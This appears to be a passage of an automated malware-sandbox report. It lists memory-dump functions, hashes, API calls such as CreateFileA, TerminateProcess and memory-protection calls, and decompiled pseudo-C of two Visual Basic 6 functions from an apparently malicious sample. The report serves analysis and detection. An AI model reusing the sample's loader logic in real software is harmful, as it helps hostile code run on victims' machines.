Opcode Fuzzy Hash: 4b9f3edd0ef5890080328c57794b9296361afd6330461fec7dcf8aa734d818b0
Instruction Fuzzy Hash: E7E0E5D064035669CFE43B758CC07FF60A28F80330F628676FB90C4805C76AC4C92952

Uniqueness

Uniqueness Score: -1.00%

Function 020F27B1, Relevance: 1.5, APIs: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,020F2784,020F27E0,020F0577,?,0000001C,00000000), ref: 020F27CE

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a2f3ab61e8467e28459774d3d9360075d153f1199b6fd8b6d52c2a76fb914b8d
Instruction ID: cde2b008f67e91b7f0387fd6e23cdc5e361820c2ddac46d54f9938c242df5b77
Opcode Fuzzy Hash: a2f3ab61e8467e28459774d3d9360075d153f1199b6fd8b6d52c2a76fb914b8d
Instruction Fuzzy Hash: EFD01230380308BAFA348E208EA2FAB62048B40F89F20442CBF4A381C0C2E1AA40C414

Uniqueness

Uniqueness Score: -1.00%

Function 020F2521, Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004,?,0000001C,00000000), ref: 020F2529

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: c59c05a6068bb54cc78e2f87ab849f9d56a5c8b5ba1cc50e7eba2179f2f7f258
Instruction ID: f36947adc5ca09b78dc550d660420e95d6c457abf85ea844813fae283457cdb0
Opcode Fuzzy Hash: c59c05a6068bb54cc78e2f87ab849f9d56a5c8b5ba1cc50e7eba2179f2f7f258
Instruction Fuzzy Hash: 63B0123018114965DE6406581C2BBC827424F42A39FA4830C38BA140E9C65180CA8704

Uniqueness

Uniqueness Score: -1.00%

Function 00411194, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a700bf3e5db3af733e4c243238528b5c4b5c29b7062a90b090192e1c1590491
Instruction ID: 1b3021d4bf81fc40545d75fb6353ea1e55d3c73037186c8cfe2f7dd2a98a2831
Opcode Fuzzy Hash: 1a700bf3e5db3af733e4c243238528b5c4b5c29b7062a90b090192e1c1590491
Instruction Fuzzy Hash: A7B0123038400BBB520043584C03AF0A180A24C3C03344C33F721C52F0DA28CC80C12E

Uniqueness

Uniqueness Score: -1.00%

Function 0041109C, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b34e7a71f53ee824224f57735f045c910c792781d15846cd43567db86e9af25
Instruction ID: 454567cdb982022d7c06b4f10718c3b8368a9dbe53e312a29b30e59e3d75215d
Opcode Fuzzy Hash: 4b34e7a71f53ee824224f57735f045c910c792781d15846cd43567db86e9af25
Instruction Fuzzy Hash: F7B09220F88081AA5A0083545C029E425C096483843248C23E246C65E0D6398C808129

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 020F4926, Relevance: 1.5, Strings: 1, Instructions: 260COMMON

Download Yara Rule

Strings

quE, xrefs: 020F4A70

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID: quE
API String ID: 3389902171-714226621
Opcode ID: ac13699b6fa1fc1f90dadc76005daf4acbbfb370dbbc223e5edad110e0358190
Instruction ID: a53941eea7de752663062a47f495ced78307b0df124f7a1cfd6fe7eb42e86327
Opcode Fuzzy Hash: ac13699b6fa1fc1f90dadc76005daf4acbbfb370dbbc223e5edad110e0358190
Instruction Fuzzy Hash: D991F6759843428FDFA5CF28C4D475AB7E19F46320F548299DF968FADAD7308082D722

Uniqueness

Uniqueness Score: -1.00%

Function 020F1897, Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07854838e8e36198e67a217ccbd5a007aa0dcc033f3a4cc48a8d5d5157d3dd16
Instruction ID: a7ecf2776352974a879cb33a435aa45479296dc15540f69a2e7f8a53dbfe45b4
Opcode Fuzzy Hash: 07854838e8e36198e67a217ccbd5a007aa0dcc033f3a4cc48a8d5d5157d3dd16
Instruction Fuzzy Hash: 97310771780313DFD794EA28CC90BD673A5FF517A0F294238EC99D3A41DB24E8459B90

Uniqueness

Uniqueness Score: -1.00%

Function 020F4238, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2717f4b760e31e1aa0ca6b0547772c4dce9d623ea678a9300460990c7b763a4b
Instruction ID: f1818f0a121631614673bbb51fc2f8567225081ebdf3e1a4237ebf280ac24514
Opcode Fuzzy Hash: 2717f4b760e31e1aa0ca6b0547772c4dce9d623ea678a9300460990c7b763a4b
Instruction Fuzzy Hash: CBE06D313446008FCBD5DB18C5C4F4673E2BB65B10FC28564EB05CBAA5D320E880EA10

Uniqueness

Uniqueness Score: -1.00%

Function 0041112C, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb51ca23090e648f8c20f37862df8b790cc61b7802da99a6592b7852efe0fd91
Instruction ID: 12a2ee206043068c812cb8fe202010901167ec645887266a20207c968fbf5975
Opcode Fuzzy Hash: eb51ca23090e648f8c20f37862df8b790cc61b7802da99a6592b7852efe0fd91
Instruction Fuzzy Hash: 13B012303D4003BB570087684D438E4A180924AB803304C33F341C61F0D778CC40C13D

Uniqueness

Uniqueness Score: -1.00%

Function 020F2535, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d148fbfc42233bd01ce1b25772d2a84edba9de839e7dfb8f44a8eeaa5477c2e0
Instruction ID: edf89040bb0b2c6fc2c3077fe19176721fb7ef05d41747b191bcb1619dacb8e6
Opcode Fuzzy Hash: d148fbfc42233bd01ce1b25772d2a84edba9de839e7dfb8f44a8eeaa5477c2e0
Instruction Fuzzy Hash: A7C092F27004818FEF42DB0CC5A1B4473E1FB58B48F8804E0E007CB712D224ED00CA00

Uniqueness

Uniqueness Score: -1.00%

Function 020F3E91, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2806bd4f0444d0c927bba05eb749d9a9a07320859263469834cdddf33ac42d0
Instruction ID: 5532fa185e1b5ec4a3adc176b7fc38005e5b6b05a6ad0cf7b751b49bde1f0c9f
Opcode Fuzzy Hash: f2806bd4f0444d0c927bba05eb749d9a9a07320859263469834cdddf33ac42d0
Instruction Fuzzy Hash: F7B00275651541CFCF56DF0DC190E4173B4FF54B50FC155D0E455C7B15C264E911C914

Uniqueness

Uniqueness Score: -1.00%

Function 0041442A, Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 234
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0041442A(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				void* _v32;
				void* _v36;
				signed int _v40;
				char _v44;
				char _v48;
				intOrPtr _v56;
				char _v64;
				void* _v84;
				signed int _v88;
				signed int _v92;
				signed int _v104;
				intOrPtr* _v108;
				signed int _v112;
				intOrPtr* _v116;
				signed int _v120;
				signed long long _v124;
				char _v128;
				intOrPtr _v132;
				signed int _v136;
				signed int _t94;
				char* _t98;
				char* _t102;
				signed int _t106;
				char* _t107;
				char* _t108;
				signed int _t111;
				char* _t116;
				signed int _t120;
				intOrPtr _t134;
				void* _t148;
				void* _t150;
				intOrPtr _t151;
				intOrPtr* _t152;
				signed long long _t165;
				signed int _t169;

				_t151 = _t150 - 0xc;
				 *[fs:0x0] = _t151;
				L004014B0();
				_v16 = _t151;
				_v12 = 0x4011f0;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x70,  *[fs:0x0], 0x4014b6, _t148);
				L00401684();
				_v56 = 1;
				_v64 = 2;
				_push(0xfffffffe);
				_push(0xfffffffe);
				_push(0xfffffffe);
				_push(0xffffffff);
				_t94 =  &_v64;
				_push(_t94);
				L00401630();
				L00401648();
				L00401636();
				_push(0);
				_push(0xffffffff);
				_push(0x4113ec);
				_push("ABC");
				L0040162A();
				if(_t94 != 3) {
					if( *0x419010 != 0) {
						_v108 = 0x419010;
					} else {
						_push(0x419010);
						_push(0x41192c);
						L00401696();
						_v108 = 0x419010;
					}
					_t116 =  &_v44;
					L0040169C();
					_v84 = _t116;
					_t120 =  *((intOrPtr*)( *_v84 + 0x188))(_v84,  &_v40, _t116,  *((intOrPtr*)( *((intOrPtr*)( *_v108)) + 0x32c))( *_v108));
					asm("fclex");
					_v88 = _t120;
					if(_v88 >= 0) {
						_v112 = _v112 & 0x00000000;
					} else {
						_push(0x188);
						_push(0x4113f0);
						_push(_v84);
						_push(_v88);
						L00401690();
						_v112 = _t120;
					}
					_v104 = _v40;
					_v40 = _v40 & 0x00000000;
					_v56 = _v104;
					_v64 = 8;
					_t94 =  &_v64;
					_push(_t94);
					L00401624();
					L00401648();
					L0040168A();
					L00401636();
				}
				_push(0x411404);
				L0040161E();
				L00401648();
				_push(_t94);
				_push(0x41140c);
				L0040164E();
				asm("sbb eax, eax");
				_v84 =  ~( ~( ~_t94));
				L0040165A();
				_t98 = _v84;
				if(_t98 != 0) {
					if( *0x419010 != 0) {
						_v116 = 0x419010;
					} else {
						_push(0x419010);
						_push(0x41192c);
						L00401696();
						_v116 = 0x419010;
					}
					_t134 =  *((intOrPtr*)( *_v116));
					_t102 =  &_v44;
					L0040169C();
					_v84 = _t102;
					_t106 =  *((intOrPtr*)( *_v84 + 0x100))(_v84,  &_v48, _t102,  *((intOrPtr*)(_t134 + 0x318))( *_v116));
					asm("fclex");
					_v88 = _t106;
					if(_v88 >= 0) {
						_v120 = _v120 & 0x00000000;
					} else {
						_push(0x100);
						_push(0x411410);
						_push(_v84);
						_push(_v88);
						L00401690();
						_v120 = _t106;
					}
					_push(0);
					_push(0);
					_push(_v48);
					_t107 =  &_v64;
					_push(_t107);
					L00401618();
					_t152 = _t151 + 0x10;
					_push(_t134);
					_v112 =  *0x4011e8;
					_t165 =  *0x4011e0 *  *0x4011d8;
					if( *0x419000 != 0) {
						_push( *0x4011d4);
						_push( *0x4011d0);
						L004014D4();
					} else {
						_t165 = _t165 /  *0x4011d0;
					}
					_v124 = _t165;
					_v128 =  *0x4011c8;
					L00401612();
					_t169 =  *0x4011bc;
					_v136 = _t169;
					_t108 =  &_v64;
					L0040160C();
					_v128 = _t108;
					asm("fild dword [ebp-0x7c]");
					_v132 = _t169;
					 *_t152 = _v132;
					 *_t152 =  *0x4011b8;
					_t111 =  *((intOrPtr*)( *_a4 + 0x2c0))(_a4, 0x1c2, _t134, _t134, _t108, _t134, _t107, _t134, _t134);
					asm("fclex");
					_v92 = _t111;
					if(_v92 >= 0) {
						_v136 = _v136 & 0x00000000;
					} else {
						_push(0x2c0);
						_push(0x410d2c);
						_push(_a4);
						_push(_v92);
						L00401690();
						_v136 = _t111;
					}
					_push( &_v48);
					_t98 =  &_v44;
					_push(_t98);
					_push(2);
					L00401654();
					L00401636();
				}
				asm("wait");
				_push(0x414779);
				L0040165A();
				L0040165A();
				L0040165A();
				return _t98;
			}

0x0041442d
0x0041443c
0x00414446
0x0041444e
0x00414451
0x00414458
0x00414467
0x00414470
0x00414475
0x0041447c
0x00414483
0x00414485
0x00414487
0x00414489
0x0041448b
0x0041448e
0x0041448f
0x00414499
0x004144a1
0x004144a6
0x004144a8
0x004144aa
0x004144af
0x004144b4
0x004144bc
0x004144c9
0x004144e3
0x004144cb
0x004144cb
0x004144d0
0x004144d5
0x004144da
0x004144da
0x004144fe
0x00414502
0x00414507
0x00414516
0x0041451c
0x0041451e
0x00414525
0x00414541
0x00414527
0x00414527
0x0041452c
0x00414531
0x00414534
0x00414537
0x0041453c
0x0041453c
0x00414548
0x0041454b
0x00414552
0x00414555
0x0041455c
0x0041455f
0x00414560
0x0041456a
0x00414572
0x0041457a
0x0041457a
0x0041457f
0x00414584
0x0041458e
0x00414593
0x00414594
0x00414599
0x004145a0
0x004145a6
0x004145ad
0x004145b2
0x004145b8
0x004145c5
0x004145df
0x004145c7
0x004145c7
0x004145cc
0x004145d1
0x004145d6
0x004145d6
0x004145f0
0x004145fa
0x004145fe
0x00414603
0x00414612
0x00414618
0x0041461a
0x00414621
0x0041463d
0x00414623
0x00414623
0x00414628
0x0041462d
0x00414630
0x00414633
0x00414638
0x00414638
0x00414641
0x00414643
0x00414645
0x00414648
0x0041464b
0x0041464c
0x00414651
0x0041465a
0x0041465b
0x00414664
0x00414671
0x0041467b
0x00414681
0x00414687
0x00414673
0x00414673
0x00414673
0x0041468c
0x0041469d
0x004146a6
0x004146ac
0x004146b3
0x004146b6
0x004146ba
0x004146bf
0x004146c2
0x004146c5
0x004146cc
0x004146d6
0x004146e6
0x004146ec
0x004146ee
0x004146f5
0x00414714
0x004146f7
0x004146f7
0x004146fc
0x00414701
0x00414704
0x00414707
0x0041470c
0x0041470c
0x0041471e
0x0041471f
0x00414722
0x00414723
0x00414725
0x00414730
0x00414730
0x00414735
0x00414736
0x00414763
0x0041476b
0x00414773
0x00414778

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00414446
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00414470
#703.MSVBVM60(00000002,000000FF,000000FE,000000FE,000000FE), ref: 0041448F
__vbaStrMove.MSVBVM60(00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414499
__vbaFreeVar.MSVBVM60(00000002,000000FF,000000FE,000000FE,000000FE), ref: 004144A1
#709.MSVBVM60(ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 004144B4
__vbaNew2.MSVBVM60(0041192C,00419010,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 004144D5
__vbaObjSet.MSVBVM60(?,00000000,?,?,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414502
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,00000188,?,?,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414537
#667.MSVBVM60(00000008,?,?,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414560
__vbaStrMove.MSVBVM60(00000008,?,?,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 0041456A
__vbaFreeObj.MSVBVM60(00000008,?,?,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414572
__vbaFreeVar.MSVBVM60(00000008,?,?,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 0041457A
#527.MSVBVM60(00411404,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414584
__vbaStrMove.MSVBVM60(00411404,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 0041458E
__vbaStrCmp.MSVBVM60(0041140C,00000000,00411404,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414599
__vbaFreeStr.MSVBVM60(0041140C,00000000,00411404,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 004145AD
__vbaNew2.MSVBVM60(0041192C,00419010,0041140C,00000000,00411404,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 004145D1
__vbaObjSet.MSVBVM60(?,00000000), ref: 004145FE
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411410,00000100), ref: 00414633
__vbaLateIdCallLd.MSVBVM60(00000002,?,00000000,00000000), ref: 0041464C
_adj_fdiv_m64.MSVBVM60(?,?,?,?,004014B6), ref: 00414687
__vbaFpI4.MSVBVM60(?,?,?,?,?,?,004014B6), ref: 004146A6
__vbaI4Var.MSVBVM60(?,?,00000000,?,?,?,?,?,?,004014B6), ref: 004146BA
__vbaHresultCheckObj.MSVBVM60(00000000,004011F0,00410D2C,000002C0), ref: 00414707
__vbaFreeObjList.MSVBVM60(00000002,?,00000000), ref: 00414725
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,004014B6), ref: 00414730
__vbaFreeStr.MSVBVM60(00414779,0041140C,00000000,00411404,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414763
__vbaFreeStr.MSVBVM60(00414779,0041140C,00000000,00411404,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 0041476B
__vbaFreeStr.MSVBVM60(00414779,0041140C,00000000,00411404,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414773

Strings

yGA, xrefs: 0041471B, 0041471E
ABC, xrefs: 004144AF

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresultMove$New2$#527#667#703#709CallChkstkCopyLateList_adj_fdiv_m64
String ID: ABC$yGA
API String ID: 4279506577-3896568639
Opcode ID: c1b4a7e0dd70a35cc3e7c7b645f329716faa2fe8f4fd18d341f2d646eeda43d4
Instruction ID: 36bcbe5adac5abc1a6e4c3d9bdc99cf1f826eaa5672349c904ffc3b6e69a81ac
Opcode Fuzzy Hash: c1b4a7e0dd70a35cc3e7c7b645f329716faa2fe8f4fd18d341f2d646eeda43d4
Instruction Fuzzy Hash: 01910671A00208EFCB14EFE1CD55BEDBBB8BB08704F24492AF111BB1A1DB795985DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00413CB4, Relevance: 45.3, APIs: 30, Instructions: 267
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00413CB4(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				void* _v28;
				intOrPtr _v32;
				signed int _v36;
				char _v40;
				signed int _v44;
				intOrPtr _v52;
				char _v60;
				intOrPtr _v68;
				char _v76;
				char _v92;
				char _v108;
				intOrPtr _v132;
				char _v140;
				intOrPtr _v148;
				char _v156;
				intOrPtr _v164;
				intOrPtr _v172;
				intOrPtr _v180;
				intOrPtr _v188;
				void* _v208;
				signed int _v212;
				intOrPtr* _v216;
				signed int _v220;
				signed int _v228;
				signed int _v232;
				intOrPtr* _v236;
				signed int _v240;
				intOrPtr* _v244;
				signed int _v248;
				intOrPtr* _v252;
				signed int _v256;
				char* _t117;
				signed int _t120;
				char* _t125;
				short _t129;
				char* _t134;
				char* _t138;
				signed int _t142;
				signed int _t155;
				intOrPtr _t193;

				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t193;
				L004014B0();
				_v12 = _t193;
				_v8 = 0x401180;
				L00401684();
				L00401684();
				if( *0x419010 != 0) {
					_v236 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v236 = 0x419010;
				}
				_t117 =  &_v40;
				L0040169C();
				_v208 = _t117;
				_t120 =  *((intOrPtr*)( *_v208 + 0x180))(_v208, _t117,  *((intOrPtr*)( *((intOrPtr*)( *_v236)) + 0x368))( *_v236));
				asm("fclex");
				_v212 = _t120;
				if(_v212 >= 0) {
					_v240 = _v240 & 0x00000000;
				} else {
					_push(0x180);
					_push(0x411344);
					_push(_v208);
					_push(_v212);
					L00401690();
					_v240 = _t120;
				}
				L0040168A();
				_push( &_v60);
				L0040167E();
				_push( &_v76);
				L0040167E();
				_v132 = 1;
				_v140 = 2;
				_push(1);
				_push(1);
				_push( &_v76);
				_push( &_v140);
				_t125 =  &_v92;
				_push(_t125);
				L0040166C();
				_push(_t125);
				_push( &_v60);
				_push(0x411358);
				_push( &_v108);
				L00401672();
				_v148 = 1;
				_v156 = 0x8002;
				_push( &_v108);
				_t129 =  &_v156;
				_push(_t129);
				L00401678();
				_v208 = _t129;
				_push( &_v108);
				_push( &_v92);
				_push( &_v60);
				_push( &_v76);
				_push(4);
				L00401666();
				_t134 = _v208;
				if(_t134 != 0) {
					if( *0x419010 != 0) {
						_v244 = 0x419010;
					} else {
						_push(0x419010);
						_push(0x41192c);
						L00401696();
						_v244 = 0x419010;
					}
					_t138 =  &_v40;
					L0040169C();
					_v208 = _t138;
					_t142 =  *((intOrPtr*)( *_v208 + 0xb0))(_v208,  &_v36, _t138,  *((intOrPtr*)( *((intOrPtr*)( *_v244)) + 0x33c))( *_v244));
					asm("fclex");
					_v212 = _t142;
					if(_v212 >= 0) {
						_v248 = _v248 & 0x00000000;
					} else {
						_push(0xb0);
						_push(0x411324);
						_push(_v208);
						_push(_v212);
						L00401690();
						_v248 = _t142;
					}
					if( *0x41931c != 0) {
						_v252 = 0x41931c;
					} else {
						_push(0x41931c);
						_push(0x41137c);
						L00401696();
						_v252 = 0x41931c;
					}
					_v216 =  *_v252;
					_v180 = 0x51d639;
					_v188 = 3;
					_v164 = 0x8cb0c;
					_v172 = 3;
					_v148 = 0x18;
					_v156 = 2;
					_v132 = 0x6285ce;
					_v140 = 3;
					_v228 = _v36;
					_v36 = _v36 & 0x00000000;
					_v52 = _v228;
					_v60 = 8;
					L004014B0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L004014B0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L004014B0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L004014B0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L004014B0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t155 =  *((intOrPtr*)( *_v216 + 0x44))(_v216, 0x10, 0x10, 0x10, 0x10, 0x10,  &_v44);
					asm("fclex");
					_v220 = _t155;
					if(_v220 >= 0) {
						_v256 = _v256 & 0x00000000;
					} else {
						_push(0x44);
						_push(0x41136c);
						_push(_v216);
						_push(_v220);
						L00401690();
						_v256 = _t155;
					}
					_v232 = _v44;
					_v44 = _v44 & 0x00000000;
					_v68 = _v232;
					_v76 = 9;
					_push(0x10);
					L004014B0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_push(0);
					_push(_v32);
					L00401660();
					L0040168A();
					_push( &_v76);
					_t134 =  &_v60;
					_push(_t134);
					_push(2);
					L00401666();
				}
				_push(0x4140f2);
				L0040165A();
				L0040165A();
				L0040168A();
				return _t134;
			}

0x00413cb9
0x00413cc4
0x00413cc5
0x00413cd1
0x00413cd9
0x00413cdc
0x00413ce9
0x00413cf4
0x00413d00
0x00413d1d
0x00413d02
0x00413d02
0x00413d07
0x00413d0c
0x00413d11
0x00413d11
0x00413d41
0x00413d45
0x00413d4a
0x00413d5e
0x00413d64
0x00413d66
0x00413d73
0x00413d98
0x00413d75
0x00413d75
0x00413d7a
0x00413d7f
0x00413d85
0x00413d8b
0x00413d90
0x00413d90
0x00413da2
0x00413daa
0x00413dab
0x00413db3
0x00413db4
0x00413db9
0x00413dc0
0x00413dca
0x00413dcc
0x00413dd1
0x00413dd8
0x00413dd9
0x00413ddc
0x00413ddd
0x00413de2
0x00413de6
0x00413de7
0x00413def
0x00413df0
0x00413df5
0x00413dff
0x00413e0c
0x00413e0d
0x00413e13
0x00413e14
0x00413e19
0x00413e23
0x00413e27
0x00413e2b
0x00413e2f
0x00413e30
0x00413e32
0x00413e3a
0x00413e43
0x00413e50
0x00413e6d
0x00413e52
0x00413e52
0x00413e57
0x00413e5c
0x00413e61
0x00413e61
0x00413e91
0x00413e95
0x00413e9a
0x00413eb2
0x00413eb8
0x00413eba
0x00413ec7
0x00413eec
0x00413ec9
0x00413ec9
0x00413ece
0x00413ed3
0x00413ed9
0x00413edf
0x00413ee4
0x00413ee4
0x00413efa
0x00413f17
0x00413efc
0x00413efc
0x00413f01
0x00413f06
0x00413f0b
0x00413f0b
0x00413f29
0x00413f2f
0x00413f39
0x00413f43
0x00413f4d
0x00413f57
0x00413f61
0x00413f6b
0x00413f72
0x00413f7f
0x00413f85
0x00413f8f
0x00413f92
0x00413fa0
0x00413fad
0x00413fae
0x00413faf
0x00413fb0
0x00413fb4
0x00413fc1
0x00413fc2
0x00413fc3
0x00413fc4
0x00413fc8
0x00413fd5
0x00413fd6
0x00413fd7
0x00413fd8
0x00413fdc
0x00413fe9
0x00413fea
0x00413feb
0x00413fec
0x00413ff0
0x00413ffa
0x00413ffb
0x00413ffc
0x00413ffd
0x0041400c
0x0041400f
0x00414011
0x0041401e
0x00414040
0x00414020
0x00414020
0x00414022
0x00414027
0x0041402d
0x00414033
0x00414038
0x00414038
0x0041404a
0x00414050
0x0041405a
0x0041405d
0x00414064
0x00414067
0x00414071
0x00414072
0x00414073
0x00414074
0x00414075
0x00414077
0x0041407a
0x00414082
0x0041408a
0x0041408b
0x0041408e
0x0041408f
0x00414091
0x00414096
0x00414099
0x004140dc
0x004140e4
0x004140ec
0x004140f1

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00413CD1
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00413CE9
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00413CF4
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00413D0C
__vbaObjSet.MSVBVM60(?,00000000), ref: 00413D45
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411344,00000180), ref: 00413D8B
__vbaFreeObj.MSVBVM60(00000000,?,00411344,00000180), ref: 00413DA2
#610.MSVBVM60(?), ref: 00413DAB
#610.MSVBVM60(?,?), ref: 00413DB4
__vbaVarAdd.MSVBVM60(?,00000002,?,00000001,00000001,?,?), ref: 00413DDD
#662.MSVBVM60(?,00411358,?,00000000,?,00000002,?,00000001,00000001,?,?), ref: 00413DF0
__vbaVarTstNe.MSVBVM60(00008002,?,?,00411358,?,00000000,?,00000002,?,00000001,00000001,?,?), ref: 00413E14
__vbaFreeVarList.MSVBVM60(00000004,?,?,?,?,00008002,?,?,00411358,?,00000000,?,00000002,?,00000001,00000001), ref: 00413E32
__vbaNew2.MSVBVM60(0041192C,00419010), ref: 00413E5C
__vbaObjSet.MSVBVM60(?,00000000), ref: 00413E95
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411324,000000B0), ref: 00413EDF
__vbaNew2.MSVBVM60(0041137C,0041931C), ref: 00413F06
__vbaChkstk.MSVBVM60(?), ref: 00413FA0
__vbaChkstk.MSVBVM60(?), ref: 00413FB4
__vbaChkstk.MSVBVM60(?), ref: 00413FC8
__vbaChkstk.MSVBVM60(?), ref: 00413FDC
__vbaChkstk.MSVBVM60(?), ref: 00413FF0
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,00000044), ref: 00414033
__vbaChkstk.MSVBVM60(00000000,?,0041136C,00000044), ref: 00414067
__vbaLateIdSt.MSVBVM60(?,00000000), ref: 0041407A
__vbaFreeObj.MSVBVM60(?,00000000), ref: 00414082
__vbaFreeVarList.MSVBVM60(00000002,00000008,00000009,?,00000000), ref: 00414091
__vbaFreeStr.MSVBVM60(004140F2), ref: 004140DC
__vbaFreeStr.MSVBVM60(004140F2), ref: 004140E4
__vbaFreeObj.MSVBVM60(004140F2), ref: 004140EC

Memory Dump Source

